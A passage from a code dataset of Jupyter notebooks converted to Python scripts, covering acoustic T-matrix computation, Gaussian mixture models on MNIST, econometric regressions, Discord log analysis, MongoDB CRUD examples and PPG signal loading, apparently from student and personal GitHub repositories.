1)\nplt.scatter(X_test.data.numpy()[:, 0], X_test.data.numpy()[:, 1], c=Res, s=50, cmap='RdYlGn')\nplt.title('my work')\nplt.subplot(1, 2, 2)\nplt.scatter(X_test.data.numpy()[:, 0], X_test.data.numpy()[:, 1], c=y_test.data.numpy(), s=50, cmap='RdYlGn')\nplt.title('Origin')\nplt.show()\n\nplt.subplot(3,3,1)\nplt.plot(range(num_epochs), loss_train)\nplt.title('loss_train')\nplt.subplot(3,3,3)\nplt.plot(range(num_epochs), loss_test)\nplt.title('loss_test')\nplt.subplot(3,3,7)\nplt.plot(range(num_epochs), acc_train)\nplt.title('acc_train')\nplt.subplot(3,3,9)\nplt.plot(range(num_epochs), acc_test)\nplt.title('acc_test')\n\n\n","repo_name":"yanzhenxing123/algorithms","sub_path":"basis/courses/DeepLearning/shiyan1/逻辑回归从零实现.ipynb","file_name":"逻辑回归从零实现.ipynb","file_ext":"py","file_size_in_byte":4134,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"14622291709","text":"# # T-matrix computation for 3D acoustic scattering \n\nimport bempp.api\nimport numpy as np\nimport scipy\nfrom numba import objmode\nimport numba\nimport math\nimport cmath\n# %matplotlib inline\nimport matplotlib.pyplot as plt\nfrom bempp.api.operators.far_field import helmholtz as helmholtz_farfield\nbempp.api.show_available_platforms_and_devices()\nbempp.api.set_default_device(0, 0)\n\n\n# +\ndef normalized_spherical_harmonics(p, q, x):\n \"\"\"Spherical Harmonic function of degree q\"\"\"\n azimuth = np.arctan2(x[1],x[0])\n polar = np.arccos(x[2]/np.linalg.norm(x))\n if p >= 0:\n return ((-1)**p) * scipy.special.sph_harm(p,q,azimuth,polar)\n else:\n return scipy.special.sph_harm(-p,q,azimuth,polar)*np.exp(1j*2*p*azimuth)\n\ndef spherical_bessel_function(q,x,k):\n \"\"\"Spherical Bessel function of degree q\"\"\"\n r = np.linalg.norm(x)\n return np.sqrt(np.pi/(2*k*r))*scipy.special.jv(q+0.5, k*r)\n\ndef regular_spherical_wavefunctions(p,q,x,k):\n \"\"\"Regular Spherical Wavefunction\"\"\"\n return spherical_bessel_function(q,x,k)*normalized_spherical_harmonics(p,q,x)\n\n\n# -\n\nd = [1,0,0] # wave's travel direction\ndeg = 10\n\n# +\nh = 0.2\n# far field points: unit sphere\nunit_sphere = bempp.api.shapes.sphere(r = 1, origin=(0,0,0), h = h)\nvert_sphere = unit_sphere.vertices\nspace_sphere = bempp.api.function_space(unit_sphere, 'P', 1)\n\n# scatterer: sphere\ndom_cube = bempp.api.shapes.cube(length = 2/1.8, origin=(-1/1.8,-1/1.8,-1/1.8), h = h)\nvert_cube = dom_cube.vertices\nspace_cube = bempp.api.function_space(dom_cube,'P',1)\n\n\n# -\n\ndef KSSF(k):\n eta = k\n\n identity = bempp.api.operators.boundary.sparse.identity(space_cube, space_cube,space_cube)\n slp = bempp.api.operators.boundary.helmholtz.single_layer(space_cube,space_cube,space_cube,k)\n dlp = bempp.api.operators.boundary.helmholtz.double_layer(space_cube,space_cube,space_cube,k)\n slp_far = helmholtz_farfield.single_layer(space_cube, vert_sphere, k)\n dlp_far = helmholtz_farfield.double_layer(space_cube, vert_sphere,k)\n\n lhs = 0.5 * identity + dlp - 1j* eta *slp\n\n slp_far_field_coeff = []\n sph_harm_coeff = []\n\n for q in range(deg+1):\n for p in range(-q,q+1):\n @bempp.api.complex_callable\n def dirichlet_fun(x,n,domain_index,result):\n with objmode():\n result[0] = - regular_spherical_wavefunctions(p,q,x,k)\n\n rhs_fun = bempp.api.GridFunction(space_cube, fun = dirichlet_fun)\n field, info = bempp.api.linalg.gmres(lhs, rhs_fun, tol=1E-8)\n slp_far_field_coeff.append(dlp_far.evaluate(field) - 1j * eta * slp_far.evaluate(field))\n\n @bempp.api.complex_callable\n def sph_harm(x,n,domain_index,result):\n with objmode():\n result[0] = normalized_spherical_harmonics(p,q,x)\n sph_harm_grid = bempp.api.GridFunction(space_sphere,fun = sph_harm)\n sph_harm_coeff.append(np.conj(sph_harm_grid.coefficients)/((-1j)**(q+1)))\n\n mass_mat = bempp.api.operators.boundary.sparse.identity(space_sphere,space_sphere,space_sphere).weak_form().A\n T_matrix = np.zeros(((deg+1)**2,(deg+1)**2),dtype = complex)\n for i in range((deg+1)**2):\n for j in range((deg+1)**2):\n T_matrix[i,j] = (slp_far_field_coeff[j] @ mass_mat @ sph_harm_coeff[i])*k\n P,L,U = scipy.linalg.lu(np.identity(T_matrix.shape[0]) + T_matrix)\n logdet = 0\n for i in range (T_matrix.shape[0]):\n logdet += cmath.log(U[i,i])\n \n return logdet/(2*np.pi*1j)\n\n\nKSSF(5)\n\nlist_KSSF = []\nfor k in [3,5,7,9,11]:\n list_KSSF.append(KSSF(k))\n\nX = [x.real for x in list_KSSF]\nY = [x.imag for x in list_KSSF]\nplt.scatter(X,Y, color='red')\nplt.show()\n\nlist_KSSF\n\nlist_KSSF2 = [list_KSSF[0]*(2*np.pi*1j),list_KSSF[1]*(2*np.pi*1j),list_KSSF[2]*(2*np.pi*1j),list_KSSF[3]*(2*np.pi*1j),list_KSSF[4]*(2*np.pi*1j)]\n\nlist_KSSF2\n\nlist_KSSF2[0] = (list_KSSF2[0] + 2*np.pi*1j)/(2*np.pi*1j)\nlist_KSSF2[1] = (list_KSSF2[1] + 4*np.pi*1j)/(2*np.pi*1j)\nlist_KSSF2[2] = (list_KSSF2[2] + 5*np.pi*1j)/(2*np.pi*1j)\nlist_KSSF2[3] = (list_KSSF2[3] + 3*np.pi*1j)/(2*np.pi*1j)\nlist_KSSF2[4] = (list_KSSF2[4] + 5*np.pi*1j)/(2*np.pi*1j) \n\nlist_KSSF2\n\nX2 = [x.real for x in list_KSSF2]\nY2 = [x.imag for x in list_KSSF2]\nplt.scatter(X2,Y2, color='red')\nplt.show()\n\n\n","repo_name":"XiaoshuSun/Test_101","sub_path":"Daily progress/09-Copy3.04.2020.Cube_Conv_with_refinementT-matrix3D.ipynb","file_name":"09-Copy3.04.2020.Cube_Conv_with_refinementT-matrix3D.ipynb","file_ext":"py","file_size_in_byte":4301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"11488708017","text":"# +\nimport os, json\nimport pandas as pd\n\npath_to_json = 'C:/Users/LUNGS/Downloads/jesonfolder'\njson_files = [pos_json for pos_json in os.listdir(path_to_json) if pos_json.endswith('.json')]\n#print(json_files) # for me this prints ['foo.json']\n\n# +\ninp_str = json_files[0]\nres = inp_str.strip('\\'')\np=\"C:/Users/LUNGS/Downloads/jesonfolder/\"\nq=p+res\nwith open(q, 'r') as j:\n json_data = json.load(j)\ndf = pd.DataFrame(json_data,index=[0])\n\n\ni=1\nfor i in range(20):\n if(i==19):\n i=i+1\n inp_str = json_files[i]\n res = inp_str.strip('\\'')\n p=\"C:/Users/LUNGS/Downloads/jesonfolder/\"\n q=p+res\n with open(q, 'r') as j:\n json_data1 = json.load(j)\n df1 = pd.DataFrame(json_data1,index=[0])\n \n df=pd.concat([df,df1],ignore_index=True)\n print (df)\n \n \n \n# -\n\ndf.to_csv('datasetrt.csv')\n\n\n\n\n\n","repo_name":"rafidulislam/json-to-CSV","sub_path":"Untitled18 (3).ipynb","file_name":"Untitled18 (3).ipynb","file_ext":"py","file_size_in_byte":860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"15467481636","text":"# ## Project 5 Discord Logs\n\n# +\nimport json\nimport pandas as pd\nfrom datetime import datetime\n\n#opening the json file containing discord logs\nf = open('discord_logs.json',)\n \n#loading json file\ndata = json.load(f)\n\n#creating dictionary for new dataframe containing discord logs\ndirectory = []\n#looping thru all the events happening in discord\nfor i in range(len(data['messages'])):\n listing = {}\n #extracting when someone joined or left voice channel from discord\n if ('joined voice channel' in data['messages'][i]['embeds'][0]['description'] or 'left voice channel ' in data['messages'][i]['embeds'][0]['description']):\n listing['Name'] = data['messages'][i]['embeds'][0]['author']['name'] \n listing['Event'] = data['messages'][i]['embeds'][0]['description'][11:][:4]\n listing['Time'] = data['messages'][i]['embeds'][0]['timestamp']\n #adding it too dictionary\n\n directory.append(listing)\n#made a dataframe from the dictionary after the for loop has went thru all the events happening in discord\ndf = pd.DataFrame(directory)\ndf\n# -\n\n#retrieved all of the unique names\nnames = df[\"Name\"].unique()\n#new dictionary to hold information of how long one stayed in discord\ndirectory2 = []\n#looping thru each name and analyzing each one of them\nfor i in names:\n listing = {}\n #'a' is a dataframe showing all the time this person joined the server\n a = df[(df['Name'] == i) & (df['Event'] == 'join')].reset_index()\n #'b' is a dataframe showing all the time this person left the server\n b = df[(df['Name'] == i) & (df['Event'] == 'left')].reset_index()\n #creating new column in datafram 'a' which says when the person left called 'Time_left'\n a[\"Time_left\"] = b[\"Time\"]\n\n #converting the time and time_left columns to time format to make arthemic easier \n a[\"Time\"] = pd.to_datetime(a[\"Time\"]).dt.tz_convert(\"America/New_York\")\n a[\"Time_left\"] = pd.to_datetime(b[\"Time\"]).dt.tz_convert(\"America/New_York\")\n \n #necolumn in a called duration which shows time stayed in a day\n a[\"duration\"] = a[\"Time_left\"] -a[\"Time\"]\n \n #adding name and sum of all the times stayed in server to dictionary\n listing['Name'] = i\n listing[\"time_in_channel\"] = a['duration'].sum()\n \n \n directory2.append(listing)\n#created new dataframe \ndf2 = pd.DataFrame(directory2)\ndisplay(df2)\nf.close\n\n\n","repo_name":"anastai99/Data-Science-","sub_path":"Project 5.ipynb","file_name":"Project 5.ipynb","file_ext":"py","file_size_in_byte":2367,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"23442043033","text":"# +\n\nimport torchvision\nimport torch\nfrom torchvision import datasets, transforms\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom scipy.special import logsumexp\nimport math\n\nMAX_ITER = 100\nEPSILON = 1e-10\nTOLERANCE = 1e-5\n\ndef initializeModel(K, d):\n np.random.seed(0)\n pi = np.random.rand(K)\n pi = pi / np.sum(pi)\n\n np.random.seed(0)\n mu = np.random.normal(0, 3, size=(K, d))\n\n np.random.seed(0)\n S = np.random.rand(K, d) + 0.5\n\n return pi, mu, S\n\ndef GMM(X, K_RANGE):\n N, d = X.shape\n pi, mu, S = initializeModel(K_RANGE, d)\n log_r = np.zeros((N, K_RANGE))\n loss = [0.0] * MAX_ITER\n\n for iter in range(MAX_ITER):\n for k in range(K_RANGE):\n print(k)\n for i in range(N):\n log_prob = np.log(pi[k])\n for j in range(d):\n # print(k, i, j)\n if math.isclose(S[k,j], 0, rel_tol=1e-05, abs_tol=1e-08):\n if math.isclose(X[i,j], mu[k,j], rel_tol=1e-05, abs_tol=1e-08):\n mus = np.argwhere(np.isclose(mu[:,j], mu[k,j])).flatten()\n sigmas = np.argwhere(np.isclose(S[:,j], 0)).flatten()\n num_models = len(np.intersect1d(mus, sigmas))\n log_prob += np.log(1/num_models)\n else:\n log_prob = float('-inf')\n break\n else:\n log_prob += -0.5 * np.log(S[k][j]) - 0.5 * (X[i][j] - mu[k][j]) ** 2 / S[k][j]\n log_r[i,k] = log_prob\n # log_r[:,k] = np.log(pi[k]) - 0.5 * np.sum(np.log(S[k] + EPSILON)) - 0.5 * np.sum((X-mu[k]) ** 2 / (S[k] + EPSILON), axis = 1)\n log_r_i = logsumexp(log_r, axis = 1)\n log_r = log_r - log_r_i[:,None]\n loss[iter] = -np.sum(log_r_i)\n print(loss[iter])\n if iter > 1 and abs(loss[iter] - loss[iter-1]) <= TOLERANCE * abs(loss[iter]):\n break\n\n r = np.exp(log_r)\n r_dot_k = np.sum(r, axis = 0)\n pi = r_dot_k / N\n mu = np.matmul(r.T, X) / r_dot_k[:,None]\n S = np.matmul(r.T, X**2) / r_dot_k[:,None] - mu ** 2\n\n return pi, mu, S, loss\n\ntransform = transforms.Compose([transforms.ToTensor()])\n\n# -\n\nX = np.loadtxt(open(\"gmm_dataset.csv\", \"rb\"), delimiter=\",\")\nk = 9\npi, mu, S, loss = GMM(X, k+1)\n\n# +\nX = np.loadtxt(open(\"gmm_dataset.csv\", \"rb\"), delimiter=\",\")\n\nK = 10\npis, mus, Ss, losses = [[None for _ in range(K)] for _ in range(4)]\nfor k in range(10):\n\n print(k)\n pi, mu, S, loss = GMM(X, k+1)\n pis[k] = pi\n mus[k] = mu\n Ss[k] = S\n losses[k] = [ val for val in loss if val > 0.0]\n\nfinal_losses = [loss[-1] for loss in losses]\nplt.plot(final_losses)\nplt.xlabel(\"K number\")\nplt.ylabel(\"Negative Log Likelihood\")\n\n# +\nchoose_of_k = 4\n\nprint(f\"Choose k to be {choose_of_k}\")\n\nmodels = [None] * choose_of_k\nfor k in range(choose_of_k):\n models[k] = (pis[choose_of_k][k], mus[choose_of_k][k], Ss[choose_of_k][k])\nmodels.sort()\nfor i, model in enumerate(models):\n print(f\"Model {i} with weights {model[0]}\")\n\n print(f\"Mean {model[1]}\")\n\n print(f\"Covariance {model[2]}\")\n\n\n\n# +\nroot = './data'\ntrain_data = datasets.MNIST(root = root, train= True, transform=None, download=True)\ntest_data = datasets.MNIST(root = root, train= False, transform=None, download=True)\n\ntrain_X = train_data.data\ntrain_Y = train_data.targets\ntrain_X = np.reshape(train_X, (60000, 784))\ntest_X = test_data.data\ntest_Y = test_data.targets\ntest_X = np.reshape(test_X, (10000, 784))\n\nfrom sklearn.decomposition import PCA \n\nd = 40\n\nreducer = PCA(n_components=d)\nreducer.fit(train_X)\n\ntrain_data_reduced = reducer.transform(train_X)\ntest_data_reduced = reducer.transform(test_X)\n\nlabel_set = set(train_Y)\ntrain_Y = train_Y.numpy()\ntest_Y = test_Y.numpy()\n# -\n\nK_RANGE = 10\nfrom sklearn.decomposition import PCA\npca = PCA()\n# for k in range(K_RANGE):\nclass_models = [None] * 10\np_y_c = [0] * 10\nfor identify_class in range(1):\n TOTAL_DATA = len(train_X)\n idx = train_Y == identify_class\n X = train_X[idx].numpy().astype('float64')\n pi, mu, S, loss = GMM(X, 5)\n class_models[identify_class] = (pi, mu, S)\n\nprint(math.isclose(-4.440892098500626e-16, 0, rel_tol = 1e05, abs_tol=1e-8))\nprint(np.isclose(-4.440892098500626e-16, 0, rtol = 1e05, atol=1e-8))\n\n# Test\ndata_test = datasets.MNIST(root = \"./data/\",\n transform=transform,\n train = False,\n download = True)\nerror = 0\nfor x, y in data_test:\n N, d1, d2 = x.shape\n x = x.reshape(N, d1*d2).numpy() / 255.0\n y_probs = np.zeros(10)\n for class_c in range(10):\n pi, mu, S = class_models[class_c]\n log_p_ik = np.log(pi) - 0.5 * np.sum(np.log(S + EPSILON), axis=1) - 0.5 * np.sum((x-mu) ** 2 / (S + EPSILON), axis = 1)\n log_p = logsumexp(log_p_ik)\n y_probs[class_c] = log_p + np.log(p_y_c)\n y_pred = np.argmax(y_probs)\n if y_pred != y:\n error += 1\nprint(f\"Error rate {error/len(data_test)}\")\n\n\ndef GMM(X, K_RANGE):\n \"\"\"\n EM Step\n \"\"\"\n n, d = X.shape\n\n weights, means, sigmas = initializeModel(K_RANGE, d)\n loss_hist = []\n rlog = np.zeros((n, K_RANGE))\n r = np.zeros((n, K_RANGE))\n for it in range(MAX_ITER):\n ###########\n # E Step\n ###########\n for k in range(K_RANGE):\n\n # Updating rik\n partition = np.log(weights[k]+EPSILON) - 0.5*np.log(sigmas[k, :]+EPSILON).sum()\n s = 1/ (sigmas[k, :] + EPSILON)\n delta = X - means[k][np.newaxis, :]\n exp_term = np.sum(delta * delta * s[np.newaxis, :], axis = -1)\n rlog[:, k] = -0.5 * exp_term + partition\n\n # Normalize\n rlogsum = []\n for i in range(n):\n ri_log = logsumexp(rlog[i])\n rlogsum.append(ri_log)\n rlogsum = np.array(rlogsum)\n assert rlogsum.shape == (n,)\n rlogsum = np.array(rlogsum)\n rlog = rlog - rlogsum[:, np.newaxis]\n loss = -np.sum(rlogsum)\n loss_hist.append(loss)\n\n \n # Convert back to exp form\n for i in range(n):\n for k in range(K_RANGE):\n r[i, k] = np.exp(rlog[i, k])\n \n if it > 0 and abs(loss_hist[-1] - loss_hist[-2]) <= TOLERANCE * abs(loss_hist[-1]):\n break\n\n ###########\n # M Step\n ###########\n rsum = np.sum(r, axis = 0)\n weights = rsum/n\n\n for k in range(K_RANGE):\n means[k, :] = np.sum(r[:, k, np.newaxis] * X, axis = 0) / (rsum[k] + EPSILON)\n sigmas[k, :] = np.sum(r[:, k, np.newaxis] * X * X, axis = 0) / (rsum[k] + EPSILON) - means[k, :] * means[k, :]\n\n return weights, means, sigmas, loss_hist\n\nX = np.array([[1,0,3], [2,0,0]])\nY = np.array([1,0,3])\nm = np.argwhere(Y == 0)\nm.shape\nprint(X[:,1])\nvars = np.argwhere(X[:,1]==0).flatten()\nvars\nX[0,2]\n# default_prob = [1 / len(var) if len(var) != 0 else 0 for var in vars]\n# default_prob\n\nfloat('-inf')\ntemp = np.array([float('-inf'), 1, 2])\nlogsumexp(temp)\nnp.log(np.exp(1)+np.exp(2))\n\n# +\n\n\n\nnp.sum(r[:, k, np.newaxis] * X * X, axis = 0) / (rsum[k] + eps) - means[k, :] * means[k, :]\n\n# +\nN, K, D = 5,3,4\n\nmeans = np.zeros((K,D))\nmeans[[0,1], :] = np.array([[1,2,3,4], [6,7,8,9]])\nprint(means)\nmeans[1,:] * means[1, :]\n\nr = np.array([[1,2,3,4,8],[6,2,2,3,1],[1,2,3,4,5]]).T\nprint(r)\nX = np.array([[1,0,3,7],[2,0,4,7],[3,0,9,2],[4,0,5,1],[5,0,9,2]])\nprint(X)\n\nr[:, 0, None]\n# -\n\n#\n","repo_name":"CosmoMaaya/CS480","sub_path":"A4/Debug_Files/qi.ipynb","file_name":"qi.ipynb","file_ext":"py","file_size_in_byte":7540,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"13086705211","text":"# # Load data\n\n# ## Libraries\n\n# +\n# %matplotlib inline \n\n# Load libraries\nimport numpy as np\nimport scipy as sp\nimport pandas as pd\nimport math\nimport matplotlib.pyplot as plt # for plotting\n\nimport statsmodels.api as sm # StatsModels\n\n# StatsModels bug-fix\nfrom scipy import stats\nstats.chisqprob = lambda chisq, df: stats.chi2.sf(chisq, df)\n# -\n\n# ## Load data\n\n# +\n# Data file\ndata = 'math_10.out'\n\n# Data types\ncol_dtypes = {\n 'c10_zmath': float,\n 'wgt10_math': float,\n 'sat': int,\n 'constant': int,\n 'c08_zlang': float,\n 'c08_zmath': float,\n 'feeder_school': int,\n 'm_id_pairs': int\n}\n\n# read csv\ndf = pd.read_csv(data,\n dtype=col_dtypes,\n na_values='',\n engine='c',\n sep='\\t',\n encoding='utf-8')\n\n# Construct a list of all matched SAT-CEB village pairs in the dataset\nincluded_pairs = sorted(df['m_id_pairs'].unique())\n# -\n\n# # Question 1\n\n# +\n# Form dummies for included matched SAT/CEB pairs\npair_dums = pd.get_dummies(df['m_id_pairs'].astype('category'), \n prefix='mp')\n\n# Concatenate matched pair dummies onto dataframe\ndf = pd.concat([df, pair_dums], axis=1)\n# -\n\n# # Question 2\n\n# +\n# Construct outcome vector, design matrix and test instrument inverse weights\nY = df['c08_zmath'] # outcome\ntest_wgt = 1. / df['wgt10_math'] # test instrument weights\nX = df[['constant', 'sat']] # design matrix\n\n# omit last matched pair to avoid dummy variable trap\nX = pd.concat([X, pair_dums.iloc[:, 0:-1]], axis=1)\n\n# Compute weighted least squares fit\n# NOTE: cluster-robust standard errors\nwls = sm.WLS(Y, X, weights=test_wgt)\\\n .fit(cov_type='cluster',\n cov_kwds={'groups': df['feeder_school']},\n use_t=True)\nwls.summary()\n# -\n\n# - The coefficient on *sat* is 0.0416, and it is not significant even at the 10 percent level. We can conclude that at 2008 baseline, children in SAT villages and in CEB villages had no significant difference in math test scores.\n# - Some of the children dropped out of school and had to be located at their home. Since those who dropped out were not randomly sampled, we can account for this sampling by assigning different weights. In the paper, the authors assigned a weight of 2 to those were located at home, and 1 to the rest.\n\n# # Question 3\n\n# +\n# now independent variable is c10_zmath\nY = df['c10_zmath']\n\n# WLS\nwls = sm.WLS(Y, X, weights=test_wgt).\\\n fit(cov_type='cluster',\n cov_kwds={'groups': df['feeder_school']},\n use_t=True)\nwls.summary()\n# -\n\n# - The coefficient on *sat* is 0.1547, but it is not significant even at the 10 percent level. We cannot conclude that residing in a SAT village resulted in higher 2010 math test scores than residing in a CEB village. This is the first specifictation that was used in the paper.\n\n# # Question 4\n\n# +\n# additional control for c08_zmath, c08_zlang\nX = pd.concat([X, df[['c08_zmath', 'c08_zlang']]], axis=1)\n\n# WLS\nwls = sm.WLS(Y, X, weights=test_wgt)\\\n .fit(cov_type='cluster',\n cov_kwds={'groups': df['feeder_school']},\n use_t=True)\nwls.summary()\n# -\n\n# - The coefficient on *sat* is 0.1342, but it is not significant even at the 10 percent level. When including student controls, *c08_zmath* and *c08_zlang*, we cannot conlcude that residing in a SAT village resulted in higher 2010 math test scores than residing in a CEB village. In the paper, this is the first specifictation with student controls.\n\n# # Question 5\n\n# +\n# design matrix\nX = pd.concat([df.constant, \n df.c08_zmath, \n df.c08_zlang, \n pair_dums.iloc[:, 0:-1]],\n axis=1)\n\n# logistic regression\nlogit = sm.Logit(df['sat'], X)\nlogit_results = logit.fit()\nlogit_results.summary()\n\n# Fitted propensity score values\ndf['propensity'] = logit_results.fittedvalues.apply(\n lambda v: math.exp(v) / (1 + math.exp(v))\n)\n\n# histogram\nplt.figure()\ndf[df.sat == 0].propensity.plot.hist(histtype='step')\ndf[df.sat == 1].propensity.plot.hist(histtype='step')\n# -\n\n# - X-axis is propensity score, and blue and orange lines represent propensity scores of children in CEB and SAT villages, respectively.\n# - As shown in the histograms above, in every bin of propensity score, we have both SAT and CEB population. Therefore, the overlap condition is satisfied.\n\n# # Question 6\n\n# +\n# IPW weights\ndf['ipw_weight'] = df.apply(\n lambda row: row.sat / row.propensity \n + (1 - row.sat) / (1 - row.propensity),\n axis=1\n)\n\n# Multiply weights by test_wgt\ndf.ipw_weight = test_wgt * df['ipw_weight']\n\n# WLS\nwls_ipw = sm.WLS(df['c10_zmath'],\n df[['constant', 'sat']],\n weights=df.ipw_weight\n ).fit(cov_type='cluster',\n cov_kwds={'groups': df['feeder_school']},\n use_t=True)\n\nwls_ipw.summary()\n# -\n\n# - By using the Inverse Probability Weighting, we can account for how different covariates are distributed between the treatment and control groups. It corrects our estimate by up-weighting under-represented treated units in treatment and control groups, potentially reducing the bias of our estimate of the average treatment effect.\n# - The coefficient on *sat* is 0.1602, and it is not significant even at the 10 percent level. We cannot conclude that residing in a SAT village resulted in higher 2010 math test scores than residing in a CEB village. In the paper, this is the second specifictation.\n\n# # Question 7\n\n# - By studying the children for longer period of time, one can obtain more interesting data, such as high school/college enrollment and adulthood wage. These data would make it possible to estimate not only the short-term effects, but also the long-term effects of SAT and CEB schools.\n# - More data on school-level peer composition, such as average parental income and schooling years, would be helpful. The paper uses mean of baseline composite test score as a proxy for peer composition. SInce peer pressure is one of the important factors in determining student achievement, these data can potentially provide insights into why SATs and CEBs show different effectiveness.\n","repo_name":"muyangshin/etc","sub_path":"econ_142_econometrics/PS1/ps1.ipynb","file_name":"ps1.ipynb","file_ext":"py","file_size_in_byte":6206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"28842244850","text":"# # Set Up\n\n# Import the functions we need from pymongo\nfrom pymongo import MongoClient\n\n# Create a MongoClient to connect to the database\nclient = MongoClient('localhost', 27017)\n\n# Specify the database to use\ndb = client.pythonbicookbook\n\n# +\n# Specify the collection to use\ncollection = db.accidents\n\n# Alternatively you can use dictionary-style access\n# collection = db['test-collection']\n# -\n\n# # Retrieve a single record\n\n# Find the first document in the collection\ncollection.find_one()\n\n# +\n# Find the first document in the collection where the accident happened on a Sunday\ncollection.find_one({\"Day_of_Week\": 1})\n\n# Find the first document in the collection where the accident happened on a Friday and there were two cars involved\ncollection.find_one({\"Day_of_Week\": 1, \"Number_of_Vehicles\": 2})\n# -\n\n# # Retrieve multiple records\n\n# +\n# Get all records where the accident happened on a Friday\ndata = collection.find({\"Day_of_Week\": 6})\n# # Show a count for the result\ndata.count()\n\n# Uncomment the next two lines to crush your computer while attempting to show a LOT of records\n# for accident in collection.find({\"Day_of_Week\": 7}):\n# print(accident['_id'])\n# -\n\n# Get all accidents with between 1 and 3 cars\ndata = collection.find({\"Number_of_Vehicles\": {\"$in\": [1,2,3]}})\ndata.count()\n\n# Get all accidents where there were either 1 or 2 cars involved AND the accidents were fatal\ndata = collection.find({\"Number_of_Vehicles\": {\"$in\": [1,2]}}, {\"Accident_Severity\": 1})\ndata.count()\n\n# **For the next two sections, we'll create a new collection in MongoDB called \"Test Data\"**\n\n# Note: when you attempt to use a collection that doesn't yet exist in MongoDB, it will be automatically created for you.\n\n# # Insert a single record\n\n# Build a customer record that will go into our database\n# Outside of this script, this would be done by your application\nimport datetime\nnew_customer = {\"first_name\": \"Bob\",\n \"last_name\": \"Smith\",\n \"address_1\": \"123 Main Street\",\n \"address_2\": \"Suite 200\",\n \"city\": \"Washington\",\n \"state\": \"DC\",\n \"zipcode\": \"20036\",\n \"interests\": [\"product_1\", \"product_4\", \"product_7\"],\n \"contact_requested\": True,\n \"created_at\": datetime.datetime.utcnow(),\n \"updated_at\": datetime.datetime.utcnow()}\n\ncustomers = db.customers\ncustomer_id = customers.insert_one(new_customer).inserted_id\ncustomer_id\n\n# # Insert multiple records\n\nnew_customers = [{\"first_name\": \"Jane\",\n \"last_name\": \"Doe\",\n \"address_1\": \"123 12th Street NW\",\n \"address_2\": \"Suite 1200\",\n \"city\": \"Washington\",\n \"state\": \"DC\",\n \"zipcode\": \"20036\",\n \"interests\": [\"product_2\", \"product_3\", \"product_8\"],\n \"contact_requested\": False,\n \"created_at\": datetime.datetime.utcnow(),\n \"updated_at\": datetime.datetime.utcnow()},\n {\"first_name\": \"Jordan\",\n \"last_name\": \"Belfry\",\n \"address_1\": \"19340 17th Street SE\",\n \"address_2\": \"Suite 50\",\n \"city\": \"Washington\",\n \"state\": \"DC\",\n \"zipcode\": \"20034\",\n \"interests\": [\"product_1\", \"product_2\", \"product_3\"],\n \"contact_requested\": False,\n \"created_at\": datetime.datetime.utcnow(),\n \"updated_at\": datetime.datetime.utcnow()}]\ncustomers = db.customers\nnew_customer_ids = customers.insert_many(new_customers)\nnew_customer_ids.inserted_ids\n\n# # Update a single record\n\n# Find the record you want to update and save the ID\ncustomers.find_one_and_update(\n {\"first_name\": \"Bob\", \"last_name\": \"Smith\"}, \n {'$set': {'contacted': False, 'updated_at': datetime.datetime.utcnow()}})\n\n# # Update multiple records\n\nresult = customers.update_many(\n { 'first_name': { '$exists': True } },\n {'$set': {'contacted': False, 'updated_at': datetime.datetime.utcnow()}})\nresult.matched_count\n\n# # Delete a single record\n\nresult = customers.delete_one({ 'first_name': 'Bob', 'last_name': 'Smith' })\nresult.deleted_count\n\n# # Delete multiple records\n\nresult = customers.delete_many({ 'contact_requested': False })\nresult.deleted_count\n\n\n","repo_name":"xenron/sandbox-da-python","sub_path":"book/packt/Python.Business.Intelligence.Cookbook/ch2_code/Work with MongoDB Using Pymongo.ipynb","file_name":"Work with MongoDB Using Pymongo.ipynb","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"11343983240","text":"# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"C4PyOZOi3kPE\" outputId=\"c3ff0ad3-efa1-4846-dd25-119ae675dd40\"\nimport zipfile\nfrom google.colab import drive\n\ndrive.mount('/content/drive/')\n\n# + id=\"5-m9BeXi3x6C\"\nweights_path = \"/content/drive/My Drive/colab_notebooks/data/lstmae.hdf5\"\nzip_ref = zipfile.ZipFile(\"/content/drive/My Drive/colab_notebooks/data/ppg.zip\", 'r')\nzip_ref.extractall(\"/tmp\")\nzip_ref.close()\n\n# + id=\"VvV8Flgl4WPH\" colab={\"base_uri\": \"https://localhost:8080/\"} outputId=\"7160caea-3b1a-44e1-892f-6d8ba22eac4a\"\nimport numpy as np\nprint(np.__version__)\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport pickle as pkl\nimport scipy\nprint(scipy.__version__)\n\n# + [markdown] id=\"sKtSbmmM6-7R\"\n# ### Reading data\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"yixtK8yu4c2S\" outputId=\"0bf4f91f-5d1b-43b2-bbe6-57a47f68571c\"\nwith open('/tmp/trainppg.pkl','rb') as f:\n X_train = pkl.load(f)\n print(\"X train shape: \" , X_train.shape)\n\nwith open('/tmp/trainlabels.pkl','rb') as f:\n labels_train = pkl.load(f)\n labels_train=labels_train^1\n print(\"labels_train shape: \" , labels_train.shape)\n \nwith open('/tmp/testppg.pkl','rb') as f:\n X_test = pkl.load(f)\n print(\"X test shape: \" , X_test.shape)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 290} id=\"8Yhed1tT4f7x\" outputId=\"96e6c67a-f08f-46cd-a8ae-4e717961eb66\"\n# where label is 0 means it is clean\nfig, axs = plt.subplots(2, 1)\naxs[0].plot(X_train[np.where(labels_train == 0)[0][0]].flatten())\naxs[0].tick_params(axis='both', labelsize=14)\naxs[0].set_title(\"(a) clean signal\",fontsize=19)\naxs[0].set_xticks([])\n\n# where label is 1 means it is noisy\naxs[1].plot(X_train[np.where(labels_train == 1)[0][160]].flatten())\naxs[1].tick_params(axis='both', labelsize=14)\naxs[1].set_title(\"(d) artifact 